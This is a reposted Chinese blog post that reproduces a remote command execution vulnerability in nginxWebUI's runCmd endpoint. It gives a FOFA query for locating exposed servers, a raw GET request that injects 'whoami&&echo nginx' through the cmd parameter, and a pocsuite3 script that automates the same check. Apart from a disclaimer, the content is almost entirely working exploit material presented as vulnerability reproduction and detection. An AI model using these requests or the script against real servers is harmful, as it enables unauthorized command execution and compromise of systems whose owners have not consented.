0


漏洞复现-nginxWebUI runCmd前台远程命令执行漏洞(附漏洞检测脚本)

免责声明

文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责

漏洞描述

nginxWebUI由于未对用户的输入进行严格过滤,导致任意命令执行漏洞。该漏洞利用条件简单,漏洞危害较高。

fofa语句

app="nginxWebUI" && country="CN"

poc加检测

GET /AdminPage/conf/runCmd?cmd=whoami&&echo%20nginx HTTP/1.1
Host: 
Cookie: SOLONID=a64c90e89a5945108c4374d2beac5af1; SOLONID2=8105754505cbebbbdfbd4dd84e7bc313; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1705172536; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1705172536
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

poc脚本

脚本使用pocsuite框架

# -*- coding: utf-8 -*-
# 2024/1/14

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
from pocsuite3.api import OrderedDict, OptString

class nginxwebui_runcmd_RCE(POCBase):
    author = '炼金术师诸葛亮'
    createDate = '2024-1-14'
    name = 'nginxWebUI-runCmd-RCE'
    desc = 'nginxWebUI runCmd-前台RCE漏洞'  # 漏洞简要描述

    def _verify(self):
        result = {}
        path = "/AdminPage/conf/runCmd?cmd=whoami%26%26echo%20nginx"
        url = self.url + path
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
            'Cookie': 'SOLONID=ab4603d571394000a48398f2383fdc26; Hm_lvt_8acef669ea66f479854ecd328d1f348f=1705042515; Hm_lpvt_8acef669ea66f479854ecd328d1f348f=1705042611',
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            'Upgrade-Insecure-Requests': '1'
        }
        r = requests.get(url,headers=headers)
        try:

            if r.status_code == 200 and 'root' in r.text:
                result['VerifyInfo'] = {}

            return self.parse_output(result)
        except Exception as e:
            pass

register_poc(nginxwebui_runcmd_RCE)

脚本利用

标签: 安全 web安全 网络

本文转载自: https://blog.csdn.net/jjjj1029056414/article/details/135578861
版权归原作者 炼金术师诸葛亮 所有, 如有侵权,请联系我们删除。

“漏洞复现-nginxWebUI runCmd前台远程命令执行漏洞(附漏洞检测脚本)”的评论:

还没有评论